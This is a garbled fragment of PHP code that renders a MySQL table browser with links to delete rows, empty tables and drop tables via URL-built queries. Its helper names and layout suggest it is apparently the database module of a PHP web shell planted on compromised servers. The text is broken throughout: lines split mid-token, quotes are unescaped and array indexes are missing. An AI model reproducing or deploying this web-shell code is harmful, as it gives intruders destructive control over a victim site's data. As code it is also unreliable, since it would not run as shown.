lchars($sql_tbl).""
><input type="hidden" name="sql_order" value="".htmlspecia
lchars($sql_order)."
"><b>From:</b> 
;<input type="text" name="sql_tbl_ls" value="".$sql_tbl_l
s.""> <b>To:</
b> <input type="text" name="sql_tbl_le" value="".$sql_tbl_l
e.""> <input type="submit" value="View"></for
m>";
echo "<br><form method="POST"><TAB
LE cellSpacing=0 borderColorDark=#666
666 cellPadding=5 width="1%" bgColor=#000000 borderColorLight=#c0
c0c0 border=1>";
echo "<tr>";
echo "<td><input type="checkbox" name="boxrow_all" value="1"></td>";
for ($i=0;$i<mysql_num_f
ields($result);$i++)
{
$v = mysql_field_name($re
sult,$i);
if ($e == "a") {$s = "d"; $m = "asc";}
else {$s = "a"; $m = "desc";}
echo "<td>";
if (empty($e)) {$e = "a";}
if ($e != $v) {echo "<a href="".$sql_surl."
sql_tbl=".$sql_tbl."
&sql_tbl_le=".$sql_t
bl_le."&sql_tbl_ls="
.$sql_tbl_ls."&sql_o
rder=".$e."%20".$v.""><b>".$
v."</b></a>";}
else {echo "<b>".$v."</b><a href="".$sql_surl."
sql_tbl=".$sql_tbl."
&sql_tbl_le=".$sql_t
bl_le."&sql_tbl_ls="
.$sql_tbl_ls."&sql_o
rder=".$s."%20".$v."
"><img src="".$surl."act=i
mg&img=sort_".$m."" height="9" width="14" alt="".$m.""></a>"
;}
echo "</td>";
}
echo "<td><font color="green"><b>A
ction</b></font></td
>";
echo "</tr>";
while ($row = mysql_fetch_array($r
esult, MYSQL_ASSOC))
{
echo "<tr>";
$w = "";
$i = 0;
foreach ($row as $k=>$v) {$name = mysql_field_name($re
sult,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
if (count($row) > 0) {$w = substr($w,0,strlen($
w)-3);}
echo "<td><input type="checkbox" name="boxrow[]" value="".$w.""></t
d>";
$i = 0;
foreach ($row as $k=>$v)
{
$v = htmlspecialchars($v)
;
if ($v == "") {$v = "<font color="green">NULL
</font>";}
echo "<td>".$v."</td>";
$i++;
}
echo "<td>";
echo "<a href="".$sql_surl."
sql_act=query&sql_tb
l=".urlencode($sql_t
bl)."&sql_tbl_ls=".$
sql_tbl_ls."&sql_tbl
_le=".$sql_tbl_le."&
sql_query=".urlencod
e("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;").""><img src="".$surl."act=i
mg&img=sql_button_dr
op" alt="Delete" height="13" width="11" border="0"></a>&nb
sp;";
echo "<a href="".$sql_surl."
sql_tbl_act=insert&s
ql_tbl=".urlencode($
sql_tbl)."&sql_tbl_l
s=".$sql_tbl_ls."&sq
l_tbl_le=".$sql_tbl_
le."&sql_tbl_insert_
q=".urlencode($w)."
"><img src="".$surl."act=i
mg&img=change" alt="Edit" height="14" width="14" border="0"></a>&nb
sp;";
echo "</td>";
echo "</tr>";
}
mysql_free_result($r
esult);
echo "</table><hr size="1" noshade><p align="left"><img src="".$surl."act=i
mg&img=arrow_ltr" border="0"><select name="sql_act">";
echo "<option value="">With selected:</option>";
echo "<option value="deleterow">
Delete</option>";
echo "</select> <inp
ut type="submit" value="Confirm"></
form></p>";
}
}
else
{
$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{
echo "<br><form method="POST"><TAB
LE cellSpacing=0 borderColorDark=#666
666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0
c0c0 border=1><tr><td><in
put type="checkbox" name="boxtbl_all" value="1"></td><td
><center><b>Table</b
></center></td><td><
b>Rows</b></td><td><
b>Type</b></td><td><
b>Created</b></td><t
d><b>Modified</b></t
d><td><b>Size</b></t
d><td><b>Action</b><
/td></tr>";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($r
esult, MYSQL_ASSOC))
{
$tsize += $row;
$trows += $row;
$size = view_size($row);
echo "<tr>";
echo "<td><input type="checkbox" name="boxtbl[]" value="".$row.""></td>";
echo "<td> <a href="".$sql_surl."
sql_tbl=".urlencode(
$row).""><b>".$row."</b></a> </td
>";
echo "<td>".$row."</td>";
echo "<td>".$row."</td>";
echo "<td>".$row."</td>";
echo "<td>".$row."</td>";
echo "<td>".$size."</td>"
;
echo "<td> <a href="".$sql_surl."
sql_act=query&sql_qu
ery=".urlencode("DEL
ETE FROM `".$row."`").""><img src="".$surl."act=i
mg&img=sql_button_em
pty" alt="Empty" height="13" width="11" border="0"></a>&nb
sp; <a href="".$sql_surl."
sql_act=query&sql_qu
ery=".urlencode("DRO
P TABLE `".$row."`").""><img src="".$surl."act=i
mg&img=sql_button_dr
op" alt="Drop" height="13" width="11" border="0"></a>&nb
sp;<a href="".$sql_surl."
sql_tbl_act=insert&s
ql_tbl=".$row.""><img src="".$surl."act=i
mg&img=sql_button_in
sert" alt="Insert" height="13" width="11" border="0"></a>&nb
sp;</td>";
echo "</tr>";
$i++;
}
echo "<tr bgcolor="000000">"
;
echo "<td><center><b>A
533;</b></center></t
d>";
echo "<td><center><b>".$i
." table(s)</b></center
></td>";
echo "<td><b>".$trows."</
b></td>";
echo "<td>".$row."</td>";
echo "<td>".$row."</td>";
echo "<td>".$row."</td>";
echo "<td><b>".view_size(
$tsize)."</b></td>";
echo "<td></td>";
echo "</tr>";
echo "</table><hr size="1" noshade><p align="right"><img src="".$surl."act=i
mg&img=arrow_ltr" border="0"><select name="sql_act">";
echo "<option value="">With selected:</option>";
echo "<option value="tbldrop">Dr
op</opt